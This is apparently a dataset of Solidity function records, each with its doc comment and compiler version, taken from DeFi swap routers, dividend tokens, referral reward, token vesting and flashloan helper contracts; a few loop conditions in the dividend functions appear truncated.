(uint256 i = 0; i < swaps.length; i++) {\n Swap memory swap = swaps[i];\n IXToken swapTokenIn = IXToken(swap.tokenIn);\n IBPool pool = IBPool(swap.pool);\n\n if (swapTokenIn.allowance(address(this), swap.pool) > 0) {\n swapTokenIn.approve(swap.pool, 0);\n }\n swapTokenIn.approve(swap.pool, swap.swapAmount);\n\n (uint256 tokenAmountOut, ) =\n pool.swapExactAmountIn(\n swap.tokenIn,\n swap.swapAmount,\n swap.tokenOut,\n swap.limitReturnAmount,\n swap.maxPrice\n );\n totalAmountOut = tokenAmountOut.add(totalAmountOut);\n }\n\n require(totalAmountOut >= minTotalAmountOut, \"ERR_LIMIT_OUT\");\n\n transferFeeFrom(tokenIn, protocolFee.batchFee(swaps, totalAmountIn), useUtilityToken);\n\n transfer(tokenOut, totalAmountOut);\n transfer(tokenIn, getBalance(tokenIn));\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Execute multi-hop swaps returned from off-chain SOR for swapExactIn trade type.\n *\n * @param swapSequences multi-hop swaps sequence.\n * @param tokenIn Input token.\n * @param tokenOut Output token.\n * @param totalAmountIn Total amount of tokenIn.\n * @param minTotalAmountOut Minumum amount of tokenOut.\n * @param useUtilityToken Flag to determine if the protocol swap fee is paid using UtilityToken or TokenIn.\n */", "function_code": "function multihopBatchSwapExactIn(\n Swap[][] memory swapSequences,\n IXToken tokenIn,\n IXToken tokenOut,\n uint256 totalAmountIn,\n uint256 minTotalAmountOut,\n bool useUtilityToken\n ) external returns (uint256 totalAmountOut) {\n transferFrom(tokenIn, totalAmountIn);\n\n for (uint256 i = 0; i < swapSequences.length; i++) {\n uint256 tokenAmountOut;\n for (uint256 k = 0; k < swapSequences[i].length; k++) {\n Swap memory swap = swapSequences[i][k];\n IXToken swapTokenIn = IXToken(swap.tokenIn);\n if (k == 1) {\n // Makes sure that on the second swap the output of the first was used\n // so there is not intermediate token leftover\n swap.swapAmount = tokenAmountOut;\n }\n\n IBPool pool = IBPool(swap.pool);\n if (swapTokenIn.allowance(address(this), swap.pool) > 0) {\n swapTokenIn.approve(swap.pool, 0);\n }\n swapTokenIn.approve(swap.pool, swap.swapAmount);\n (tokenAmountOut, ) = pool.swapExactAmountIn(\n swap.tokenIn,\n swap.swapAmount,\n swap.tokenOut,\n swap.limitReturnAmount,\n swap.maxPrice\n );\n }\n // This takes the amountOut of the last swap\n totalAmountOut = tokenAmountOut.add(totalAmountOut);\n }\n\n require(totalAmountOut >= minTotalAmountOut, \"ERR_LIMIT_OUT\");\n\n transferFeeFrom(tokenIn, protocolFee.multihopBatch(swapSequences, totalAmountIn), useUtilityToken);\n\n transfer(tokenOut, totalAmountOut);\n transfer(tokenIn, getBalance(tokenIn));\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Used for swaps returned from viewSplit function.\n *\n * @param tokenIn Input token.\n * @param tokenOut Output token.\n * @param totalAmountIn Total amount of tokenIn.\n * @param minTotalAmountOut Minumum amount of tokenOut.\n * @param nPools Maximum mumber of pools.\n * @param useUtilityToken Flag to determine if the protocol swap fee is paid using UtilityToken or TokenIn.\n */", "function_code": "function smartSwapExactIn(\n IXToken tokenIn,\n IXToken tokenOut,\n uint256 totalAmountIn,\n uint256 minTotalAmountOut,\n uint256 nPools,\n bool useUtilityToken\n ) external returns (uint256 totalAmountOut) {\n Swap[] memory swaps;\n uint256 totalOutput;\n (swaps, totalOutput) = viewSplitExactIn(address(tokenIn), address(tokenOut), totalAmountIn, nPools);\n\n require(totalOutput >= minTotalAmountOut, \"ERR_LIMIT_OUT\");\n\n totalAmountOut = batchSwapExactIn(swaps, tokenIn, tokenOut, totalAmountIn, minTotalAmountOut, useUtilityToken);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Join the `pool`, getting `poolAmountOut` pool tokens. This will pull some of each of the currently\n * trading tokens in the pool, meaning you must have called approve for each token for this pool. These\n * values are limited by the array of `maxAmountsIn` in the order of the pool tokens.\n *\n * @param pool Pool address.\n * @param poolAmountOut Exact pool amount out.\n * @param maxAmountsIn Maximum amounts in.\n */", "function_code": "function joinPool(\n address pool,\n uint256 poolAmountOut,\n uint256[] calldata maxAmountsIn\n ) external {\n address[] memory tokens = IBPool(pool).getCurrentTokens();\n\n // pull xTokens\n for (uint256 i = 0; i < tokens.length; i++) {\n transferFrom(IXToken(tokens[i]), maxAmountsIn[i]);\n IXToken(tokens[i]).approve(pool, maxAmountsIn[i]);\n }\n\n IBPool(pool).joinPool(poolAmountOut, maxAmountsIn);\n\n // push remaining xTokens\n for (uint256 i = 0; i < tokens.length; i++) {\n transfer(IXToken(tokens[i]), getBalance(IXToken(tokens[i])));\n }\n\n // Wrap balancer liquidity tokens into its representing xToken\n IBPool(pool).approve(address(xTokenWrapper), poolAmountOut);\n require(xTokenWrapper.wrap(pool, poolAmountOut), \"ERR_WRAP_POOL\");\n\n transfer(IXToken(xTokenWrapper.tokenToXToken(pool)), poolAmountOut);\n\n emit JoinPool(msg.sender, pool, poolAmountOut);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Exit the pool, paying poolAmountIn pool tokens and getting some of each of the currently trading\n * tokens in return. These values are limited by the array of minAmountsOut in the order of the pool tokens.\n *\n * @param pool Pool address.\n * @param poolAmountIn Exact pool amount int.\n * @param minAmountsOut Minumum amounts out.\n */", "function_code": "function exitPool(\n address pool,\n uint256 poolAmountIn,\n uint256[] calldata minAmountsOut\n ) external {\n address wrappedLPT = xTokenWrapper.tokenToXToken(pool);\n\n // pull wrapped liquitity tokens\n transferFrom(IXToken(wrappedLPT), poolAmountIn);\n\n // unwrap wrapped liquitity tokens\n require(xTokenWrapper.unwrap(wrappedLPT, poolAmountIn), \"ERR_UNWRAP_POOL\");\n\n // LPT do not need to be approved when exit\n IBPool(pool).exitPool(poolAmountIn, minAmountsOut);\n\n // push xTokens\n address[] memory tokens = IBPool(pool).getCurrentTokens();\n for (uint256 i = 0; i < tokens.length; i++) {\n transfer(IXToken(tokens[i]), getBalance(IXToken(tokens[i])));\n }\n\n emit ExitPool(msg.sender, pool, poolAmountIn); \n }", "version": "0.7.4"} {"comment": "/**\n * @dev Pay `tokenAmountIn` of token `tokenIn` to join the pool, getting `poolAmountOut` of the pool shares.\n *\n * @param pool Pool address.\n * @param tokenIn Input token.\n * @param tokenAmountIn Exact amount of tokenIn to pay.\n * @param minPoolAmountOut Minumum amount of pool shares to get.\n */", "function_code": "function joinswapExternAmountIn(\n address pool,\n address tokenIn,\n uint256 tokenAmountIn,\n uint256 minPoolAmountOut\n ) external returns (uint256 poolAmountOut) {\n // pull xToken\n transferFrom(IXToken(tokenIn), tokenAmountIn);\n IXToken(tokenIn).approve(pool, tokenAmountIn);\n\n poolAmountOut = IBPool(pool).joinswapExternAmountIn(tokenIn, tokenAmountIn, minPoolAmountOut);\n\n // Wrap balancer liquidity tokens into its representing xToken\n IBPool(pool).approve(address(xTokenWrapper), poolAmountOut);\n require(xTokenWrapper.wrap(pool, poolAmountOut), \"ERR_WRAP_POOL\");\n\n transfer(IXToken(xTokenWrapper.tokenToXToken(pool)), poolAmountOut);\n\n emit JoinPool(msg.sender, pool, poolAmountOut);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Specify `poolAmountOut` pool shares that you want to get, and a token `tokenIn` to pay with.\n * This costs `tokenAmountIn` tokens (these went into the pool).\n *\n * @param pool Pool address.\n * @param tokenIn Input token.\n * @param poolAmountOut Exact amount of pool shares to get.\n * @param maxAmountIn Minumum amount of tokenIn to pay.\n */", "function_code": "function joinswapPoolAmountOut(\n address pool,\n address tokenIn,\n uint256 poolAmountOut,\n uint256 maxAmountIn\n ) external returns (uint256 tokenAmountIn) {\n // pull xToken\n transferFrom(IXToken(tokenIn), maxAmountIn);\n IXToken(tokenIn).approve(pool, maxAmountIn);\n\n tokenAmountIn = IBPool(pool).joinswapPoolAmountOut(tokenIn, poolAmountOut, maxAmountIn);\n\n // push remaining xTokens\n transfer(IXToken(tokenIn), getBalance(IXToken(tokenIn)));\n\n // Wrap balancer liquidity tokens into its representing xToken\n IBPool(pool).approve(address(xTokenWrapper), poolAmountOut);\n require(xTokenWrapper.wrap(pool, poolAmountOut), \"ERR_WRAP_POOL\");\n\n transfer(IXToken(xTokenWrapper.tokenToXToken(pool)), poolAmountOut);\n\n emit JoinPool(msg.sender, pool, poolAmountOut);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Pay `poolAmountIn` pool shares into the pool, getting `tokenAmountOut` of the given\n * token `tokenOut` out of the pool.\n *\n * @param pool Pool address.\n * @param tokenOut Input token.\n * @param poolAmountIn Exact amount of pool shares to pay.\n * @param minAmountOut Minumum amount of tokenIn to get.\n */", "function_code": "function exitswapPoolAmountIn(\n address pool,\n address tokenOut,\n uint256 poolAmountIn,\n uint256 minAmountOut\n ) external returns (uint256 tokenAmountOut) {\n address wrappedLPT = xTokenWrapper.tokenToXToken(pool);\n\n // pull wrapped liquitity tokens\n transferFrom(IXToken(wrappedLPT), poolAmountIn);\n\n // unwrap wrapped liquitity tokens\n require(xTokenWrapper.unwrap(wrappedLPT, poolAmountIn), \"ERR_UNWRAP_POOL\");\n\n // LPT do not need to be approved when exit\n tokenAmountOut = IBPool(pool).exitswapPoolAmountIn(tokenOut, poolAmountIn, minAmountOut);\n\n // push xToken\n transfer(IXToken(tokenOut), tokenAmountOut);\n\n emit ExitPool(msg.sender, pool, poolAmountIn);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Specify tokenAmountOut of token tokenOut that you want to get out of the pool.\n * This costs poolAmountIn pool shares (these went into the pool).\n *\n * @param pool Pool address.\n * @param tokenOut Input token.\n * @param tokenAmountOut Exact amount of of tokenIn to get.\n * @param maxPoolAmountIn Maximum amount of pool shares to pay.\n */", "function_code": "function exitswapExternAmountOut(\n address pool,\n address tokenOut,\n uint256 tokenAmountOut,\n uint256 maxPoolAmountIn\n ) external returns (uint256 poolAmountIn) {\n address wrappedLPT = xTokenWrapper.tokenToXToken(pool);\n\n // pull wrapped liquitity tokens\n transferFrom(IXToken(wrappedLPT), maxPoolAmountIn);\n\n // unwrap wrapped liquitity tokens\n require(xTokenWrapper.unwrap(wrappedLPT, maxPoolAmountIn), \"ERR_UNWRAP_POOL\");\n\n // LPT do not need to be approved when exit\n poolAmountIn = IBPool(pool).exitswapExternAmountOut(tokenOut, tokenAmountOut, maxPoolAmountIn);\n\n // push xToken\n transfer(IXToken(tokenOut), tokenAmountOut);\n\n uint256 remainingLPT = maxPoolAmountIn.sub(poolAmountIn);\n if (remainingLPT > 0) {\n // Wrap remaining balancer liquidity tokens into its representing xToken\n IBPool(pool).approve(address(xTokenWrapper), remainingLPT);\n require(xTokenWrapper.wrap(pool, remainingLPT), \"ERR_WRAP_POOL\");\n\n transfer(IXToken(wrappedLPT), remainingLPT);\n }\n\n emit ExitPool(msg.sender, pool, poolAmountIn);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev View function that calculates most optimal swaps (exactIn swap type) across a max of nPools.\n * Returns an array of `Swaps` and the total amount out for swap.\n *\n * @param tokenIn Input token.\n * @param tokenOut Output token.\n * @param swapAmount Amount of tokenIn.\n * @param nPools Maximum mumber of pools.\n */", "function_code": "function viewSplitExactIn(\n address tokenIn,\n address tokenOut,\n uint256 swapAmount,\n uint256 nPools\n ) public view returns (Swap[] memory swaps, uint256 totalOutput) {\n address[] memory poolAddresses = registry.getBestPoolsWithLimit(tokenIn, tokenOut, nPools);\n\n Pool[] memory pools = new Pool[](poolAddresses.length);\n uint256 sumEffectiveLiquidity;\n for (uint256 i = 0; i < poolAddresses.length; i++) {\n pools[i] = getPoolData(tokenIn, tokenOut, poolAddresses[i]);\n sumEffectiveLiquidity = sumEffectiveLiquidity.add(pools[i].effectiveLiquidity);\n }\n\n uint256[] memory bestInputAmounts = new uint256[](pools.length);\n uint256 totalInputAmount;\n for (uint256 i = 0; i < pools.length; i++) {\n bestInputAmounts[i] = swapAmount.mul(pools[i].effectiveLiquidity).div(sumEffectiveLiquidity);\n totalInputAmount = totalInputAmount.add(bestInputAmounts[i]);\n }\n\n if (totalInputAmount < swapAmount) {\n bestInputAmounts[0] = bestInputAmounts[0].add(swapAmount.sub(totalInputAmount));\n } else {\n bestInputAmounts[0] = bestInputAmounts[0].sub(totalInputAmount.sub(swapAmount));\n }\n\n swaps = new Swap[](pools.length);\n\n for (uint256 i = 0; i < pools.length; i++) {\n swaps[i] = Swap({\n pool: pools[i].pool,\n tokenIn: tokenIn,\n tokenOut: tokenOut,\n swapAmount: bestInputAmounts[i],\n limitReturnAmount: 0,\n maxPrice: uint256(-1)\n });\n }\n\n totalOutput = calcTotalOutExactIn(bestInputAmounts, pools);\n\n return (swaps, totalOutput);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Trtansfers protocol swap fee from the sender to this `feeReceiver`.\n *\n */", "function_code": "function transferFeeFrom(\n IXToken token,\n uint256 amount,\n bool useUtitlityToken\n ) internal {\n if (useUtitlityToken && utilityToken != address(0) && address(utilityTokenFeed) != address(0)) {\n uint256 discountedFee = utilityTokenFeed.calculateAmount(address(token), amount.div(2));\n\n if (discountedFee > 0) {\n require(\n IERC20(utilityToken).transferFrom(msg.sender, feeReceiver, discountedFee),\n \"ERR_FEE_UTILITY_TRANSFER_FAILED\"\n );\n } else {\n require(token.transferFrom(msg.sender, feeReceiver, amount), \"ERR_FEE_TRANSFER_FAILED\");\n }\n } else {\n require(token.transferFrom(msg.sender, feeReceiver, amount), \"ERR_FEE_TRANSFER_FAILED\");\n }\n }", "version": "0.7.4"} {"comment": "// Saftey Checks for Divison Tasks", "function_code": "function div(uint256 a, uint256 b) internal constant returns (uint256) {\r\n assert(b > 0);\r\n uint256 c = a / b;\r\n assert(a == b * c + a % b);\r\n return c;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Transfer tokens. Make sure that both participants have no open dividends left.\r\n * @param to The address to transfer to.\r\n * @param value The amount to be transferred.\r\n */", "function_code": "function _transfer(address payable from, address payable to, uint256 value) internal\r\n { \r\n require(value > 0, \"Transferred value has to be grater than 0.\");\r\n require(to != address(0), \"0x00 address not allowed.\");\r\n require(value <= balanceOf[from], \"Not enough funds on sender address.\");\r\n require(balanceOf[to] + value >= balanceOf[to], \"Overflow protection.\");\r\n \r\n uint256 fromOwing = dividendBalanceOf(from);\r\n uint256 toOwing = dividendBalanceOf(to);\r\n\r\n if (tradables[from] == true && (tradables[to] == true || toOwing == 0)) \r\n {\r\n\r\n internalClaimDividend(from);\r\n internalClaimDividend(to);\r\n } else {\r\n \r\n require(fromOwing == 0 && toOwing == 0, \"Unclaimed dividends on sender and/or receiver\");\r\n }\r\n \r\n balanceOf[from] = balanceOf[from].sub(value);\r\n balanceOf[to] = balanceOf[to].add(value);\r\n \r\n lastDividends[to] = lastDividends[from]; // In case of new account, set lastDividends of receiver to totalDividends.\r\n \r\n emit Transfer(from, to, value);\r\n }", "version": "0.5.7"} {"comment": "// --- Init ---", "function_code": "function initialize() public {\r\n\r\n require(!initialized, \"initialize: Already initialized!\");\r\n _governance = msg.sender;\r\n _pID = 0;\r\n _totalReferReward = 0;\r\n _totalRegisterCount = 0;\r\n _refer1RewardRate = 700; //7%\r\n _refer2RewardRate = 300; //3%\r\n _baseRate = 10000;\r\n _registrationBaseFee = 100 finney; \r\n _registrationStep = 100;\r\n _stepFee = 100 finney; \r\n _defaulRefer =\"cocos\";\r\n _teamWallet = msg.sender;\r\n addDefaultPlayer(_teamWallet, _defaulRefer);\r\n initialized = true;\r\n }", "version": "0.5.5"} {"comment": "/**\r\n * resolve the refer's reward from a player \r\n */", "function_code": "function settleReward(address from, uint256 amount)\r\n isRegisteredPool()\r\n validAddress(from) \r\n external\r\n returns (uint256)\r\n {\r\n // set up our tx event data and determine if player is new or not\r\n _determinePID(from);\r\n\r\n uint256 pID = _pIDxAddr[from];\r\n uint256 affID = _plyr[pID].laff;\r\n \r\n if(affID <= 0 ){\r\n affID = _pIDxName[_defaulRefer];\r\n _plyr[pID].laff = affID;\r\n }\r\n\r\n if(amount <= 0){\r\n return 0;\r\n }\r\n\r\n uint256 fee = 0;\r\n\r\n // father\r\n uint256 affReward = (amount.mul(_refer1RewardRate)).div(_baseRate);\r\n _plyr[affID].rreward = _plyr[affID].rreward.add(affReward);\r\n _totalReferReward = _totalReferReward.add(affReward);\r\n fee = fee.add(affReward);\r\n\r\n\r\n // grandfather\r\n uint256 aff_affID = _plyr[affID].laff;\r\n uint256 aff_affReward = amount.mul(_refer2RewardRate).div(_baseRate);\r\n if(aff_affID <= 0){\r\n aff_affID = _pIDxName[_defaulRefer];\r\n }\r\n _plyr[aff_affID].rreward = _plyr[aff_affID].rreward.add(aff_affReward);\r\n _totalReferReward= _totalReferReward.add(aff_affReward);\r\n\r\n _plyr[pID].amount = _plyr[pID].amount.add( amount);\r\n\r\n fee = fee.add(aff_affReward);\r\n \r\n emit eveSettle( pID,affID,aff_affID,affReward,aff_affReward,amount);\r\n\r\n return fee;\r\n }", "version": "0.5.5"} {"comment": "/**\r\n * claim all of the refer reward.\r\n */", "function_code": "function claim()\r\n public\r\n {\r\n address addr = msg.sender;\r\n uint256 pid = _pIDxAddr[addr];\r\n uint256 reward = _plyr[pid].rreward;\r\n\r\n require(reward > 0,\"only have reward\");\r\n \r\n //reset\r\n _plyr[pid].allReward = _plyr[pid].allReward.add(reward);\r\n _plyr[pid].rreward = 0;\r\n\r\n //get reward\r\n _cocos.safeTransfer(addr, reward);\r\n \r\n // fire event\r\n emit eveClaim(_pIDxAddr[addr], addr, reward, balances());\r\n }", "version": "0.5.5"} {"comment": "/**\r\n * @dev add a default player\r\n */", "function_code": "function addDefaultPlayer(address addr, bytes32 name)\r\n private\r\n { \r\n _pID++;\r\n\r\n _plyr[_pID].addr = addr;\r\n _plyr[_pID].name = name;\r\n _plyr[_pID].nameCount = 1;\r\n _pIDxAddr[addr] = _pID;\r\n _pIDxName[name] = _pID;\r\n _plyrNames[_pID][name] = true;\r\n\r\n //fire event\r\n emit eveDefaultPlayer(_pID,addr,name); \r\n }", "version": "0.5.5"} {"comment": "/**\r\n * @dev bind a refer,if affcode invalid, use default refer\r\n */", "function_code": "function bindRefer( address from, string calldata affCode )\r\n isRegisteredPool()\r\n external\r\n returns (bool)\r\n {\r\n\r\n bytes memory tempCode = bytes(affCode);\r\n bytes32 affName = 0x0;\r\n if (tempCode.length >= 0) {\r\n assembly {\r\n affName := mload(add(tempCode, 32))\r\n }\r\n }\r\n\r\n return _bindRefer(from, affName);\r\n }", "version": "0.5.5"} {"comment": "// get total count tokens (to calculate profit for one token)", "function_code": "function get_CountProfitsToken() constant returns(uint256){\r\n\t\tuint256 countProfitsTokens = 0;\r\n\r\n\t\tmapping(address => bool) uniqueHolders;\r\n\r\n\t\tuint256 countHolders = smartToken.getCountHolders();\r\n\t\tfor(uint256 i=0; i0)\r\n\t\t\t\t{\r\n\t\t\t\t\tuint256 tempTokens = smartToken.tempTokensBalanceOf(holder);\r\n\t\t\t\t\tif((holdersTokens+tempTokens)/decimal >= tokensNeededToGetPayment)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tuniqueHolders[holder]=true;\r\n\t\t\t\t\t\tcountProfitsTokens += (holdersTokens+tempTokens);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tuint256 countTempHolders = smartToken.getCountTempHolders();\r\n\t\tfor(uint256 j=0; j0 && count_tempTokens/decimal >= tokensNeededToGetPayment)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tuniqueHolders[temp_holder]=true;\r\n\t\t\t\t\t\tcountProfitsTokens += count_tempTokens;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn countProfitsTokens;\r\n\t}", "version": "0.4.8"} {"comment": "// get holders addresses to make payment each of them", "function_code": "function get_Holders(uint256 position) constant returns(address[64] listHolders, uint256 nextPosition) \r\n\t{\r\n\t\tuint8 n = 0;\t\t\r\n\t\tuint256 countHolders = smartToken.getCountHolders();\r\n\t\tfor(; position < countHolders; position++){\t\t\t\r\n\t\t\taddress holder = smartToken.getItemHolders(position);\r\n\t\t\tif(holder!=address(0x0)){\r\n\t\t\t\tuint256 holdersTokens = smartToken.balanceOf(holder);\r\n\t\t\t\tif(holdersTokens>0){\r\n\t\t\t\t\tuint256 tempTokens = smartToken.tempTokensBalanceOf(holder);\r\n\t\t\t\t\tif((holdersTokens+tempTokens)/decimal >= tokensNeededToGetPayment){\r\n\t\t\t\t\t\t//\r\n\t\t\t\t\t\tlistHolders[n++] = holder;\r\n\t\t\t\t\t\tif (n == 64) \r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tnextPosition = position + 1;\r\n\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t\r\n\t\tif (position >= countHolders)\r\n\t\t{\t\t\t\r\n\t\t\tuint256 countTempHolders = smartToken.getCountTempHolders();\t\t\t\r\n\t\t\tfor(uint256 j=position-countHolders; j0 && count_tempTokens/decimal >= tokensNeededToGetPayment){\r\n\t\t\t\t\t\t\tlistHolders[n++] = temp_holder;\r\n\t\t\t\t\t\t\tif (n == 64) \r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tnextPosition = position + 1;\r\n\t\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tposition = position + 1;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tnextPosition = 0;\r\n\t}", "version": "0.4.8"} {"comment": "// Get profit for specified token holder\n// Function should be executed in blockDividend ! (see struct DividendInfo)\n// Don't call this function via etherescan.io\n// Example how to call via JavaScript and web3\n// var abiDividend = [...];\n// var holderAddress = \"0xdd94ddf50485f41491c415e7133100e670cd4ef3\";\n// var dividendIndex = 1; // starts from zero\n// var blockDividend = 3527958; // see function getDividendInfo\n// web3.eth.contract(abiDividend).at(\"0x600e18779b6aC789b95a12C30b5863E842F4ae1d\").get_HoldersProfit(dividendIndex, holderAddress, blockDividend, function(err, profit){\n// alert(\"Your profit \" + web3.fromWei(profit).toString(10) + \"ETH\");\n// });", "function_code": "function get_HoldersProfit(uint256 dividendPaymentNum, address holder) constant returns(uint256){\r\n\t\tuint256 profit = 0;\r\n\t\tif(holder != address(0x0) && dividendHistory.length > 0 && dividendPaymentNum < dividendHistory.length){\r\n\t\t\tuint256 count_tokens = smartToken.balanceOf(holder) + smartToken.tempTokensBalanceOf(holder);\r\n\t\t\tif(count_tokens/decimal >= tokensNeededToGetPayment){\r\n\t\t\t\tprofit = (count_tokens*dividendHistory[dividendPaymentNum].amountDividend)/get_CountProfitsToken();\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn profit;\r\n\t}", "version": "0.4.8"} {"comment": "//CONSTANT HELPER FUNCTIONS", "function_code": "function getBankroll()\r\n constant\r\n returns(uint) {\r\n\r\n if ((invested < investorsProfit) ||\r\n (invested + investorsProfit < invested) ||\r\n (invested + investorsProfit < investorsLosses)) {\r\n return 0;\r\n }\r\n else {\r\n return invested + investorsProfit - investorsLosses;\r\n }\r\n }", "version": "0.4.19"} {"comment": "/* Allocate Tokens for MAR */", "function_code": "function allocateMARTokens() public {\r\n require(msg.sender==tokenIssuer);\r\n uint tokens = 0;\r\n \r\n if(block.timestamp > month6Unlock && !month6Allocated)\r\n {\r\n month6Allocated = true;\r\n tokens = safeDiv(totalTokensMAR, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n \r\n }\r\n else if(block.timestamp > month12Unlock && !month12Allocated)\r\n {\r\n month12Allocated = true;\r\n tokens = safeDiv(totalTokensMAR, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n \r\n }\r\n else if(block.timestamp > month24Unlock && !month24Allocated)\r\n {\r\n month24Allocated = true;\r\n tokens = safeDiv(totalTokensMAR, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n \r\n }\r\n else if(block.timestamp > month36Unlock && !month36Allocated)\r\n {\r\n month36Allocated = true;\r\n tokens = safeDiv(totalTokensMAR, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n }\r\n else if(block.timestamp > month48Unlock && !month48Allocated)\r\n {\r\n month48Allocated = true;\r\n tokens = safeDiv(totalTokensMAR, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n }\r\n else revert();\r\n\r\n AllocateMARTokens(msg.sender);\r\n }", "version": "0.4.25"} {"comment": "/* Allocate Tokens for DAPP */", "function_code": "function allocateDAPPTokens() public {\r\n require(msg.sender==tokenIssuer);\r\n uint tokens = 0;\r\n \r\n if(block.timestamp > month9Unlock && !month9Allocated)\r\n {\r\n month9Allocated = true;\r\n tokens = safeDiv(totalTokensDAPP, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n }\r\n else if(block.timestamp > month18Unlock && !month18Allocated)\r\n {\r\n month18Allocated = true;\r\n tokens = safeDiv(totalTokensDAPP, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n \r\n }\r\n else if(block.timestamp > month27Unlock && !month27Allocated)\r\n {\r\n month27Allocated = true;\r\n tokens = safeDiv(totalTokensDAPP, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n \r\n }\r\n else if(block.timestamp > month36Unlock && !month36AllocatedDAPP)\r\n {\r\n month36AllocatedDAPP = true;\r\n tokens = safeDiv(totalTokensDAPP, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n }\r\n else if(block.timestamp > month45Unlock && !month45Allocated)\r\n {\r\n month45Allocated = true;\r\n tokens = safeDiv(totalTokensDAPP, 5);\r\n balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);\r\n totalSupply = safeAdd(totalSupply, tokens);\r\n }\r\n else revert();\r\n\r\n AllocateDAPPTokens(msg.sender);\r\n }", "version": "0.4.25"} {"comment": "/* Mint Token */", "function_code": "function mintTokens(address tokenHolder, uint256 amountToken) public\r\n returns (bool success)\r\n {\r\n require(msg.sender==tokenIssuer);\r\n \r\n if(totalTokenSaled + amountToken <= totalTokensCrowdSale + totalTokensReward)\r\n {\r\n balances[tokenHolder] = safeAdd(balances[tokenHolder], amountToken);\r\n totalTokenSaled = safeAdd(totalTokenSaled, amountToken);\r\n totalSupply = safeAdd(totalSupply, amountToken);\r\n TokenMint(tokenHolder, amountToken);\r\n return true;\r\n }\r\n else\r\n {\r\n return false;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Approves the token to the spender address with allowance amount.\n * @notice Approves the token to the spender address with allowance amount.\n * @param token_ token for which allowance is to be given.\n * @param spender_ the address to which the allowance is to be given.\n * @param amount_ amount of token.\n */", "function_code": "function approve(\n address token_,\n address spender_,\n uint256 amount_\n ) internal {\n TokenInterface tokenContract_ = TokenInterface(token_);\n try tokenContract_.approve(spender_, amount_) {} catch {\n IERC20 token = IERC20(token_);\n token.safeApprove(spender_, 0);\n token.safeApprove(spender_, amount_);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Approves the tokens to the receiver address with allowance (amount + fee).\n * @notice Approves the tokens to the receiver address with allowance (amount + fee).\n * @param _instaLoanVariables struct which includes list of token addresses and amounts.\n * @param _fees list of premiums/fees for the corresponding addresses for flashloan.\n * @param _receiver address to which tokens have to be approved.\n */", "function_code": "function safeApprove(\n FlashloanVariables memory _instaLoanVariables,\n uint256[] memory _fees,\n address _receiver\n ) internal {\n uint256 length_ = _instaLoanVariables._tokens.length;\n require(\n length_ == _instaLoanVariables._amounts.length,\n \"Lengths of parameters not same\"\n );\n require(length_ == _fees.length, \"Lengths of parameters not same\");\n for (uint256 i = 0; i < length_; i++) {\n approve(\n _instaLoanVariables._tokens[i],\n _receiver,\n _instaLoanVariables._amounts[i] + _fees[i]\n );\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Transfers the tokens to the receiver address.\n * @notice Transfers the tokens to the receiver address.\n * @param _instaLoanVariables struct which includes list of token addresses and amounts.\n * @param _receiver address to which tokens have to be transferred.\n */", "function_code": "function safeTransfer(\n FlashloanVariables memory _instaLoanVariables,\n address _receiver\n ) internal {\n uint256 length_ = _instaLoanVariables._tokens.length;\n require(\n length_ == _instaLoanVariables._amounts.length,\n \"Lengths of parameters not same\"\n );\n for (uint256 i = 0; i < length_; i++) {\n IERC20 token = IERC20(_instaLoanVariables._tokens[i]);\n token.safeTransfer(_receiver, _instaLoanVariables._amounts[i]);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Calculates the balances..\n * @notice Calculates the balances of the account passed for the tokens.\n * @param _tokens list of token addresses to calculate balance for.\n * @param _account account to calculate balance for.\n */", "function_code": "function calculateBalances(address[] memory _tokens, address _account)\n internal\n view\n returns (uint256[] memory)\n {\n uint256 _length = _tokens.length;\n uint256[] memory balances_ = new 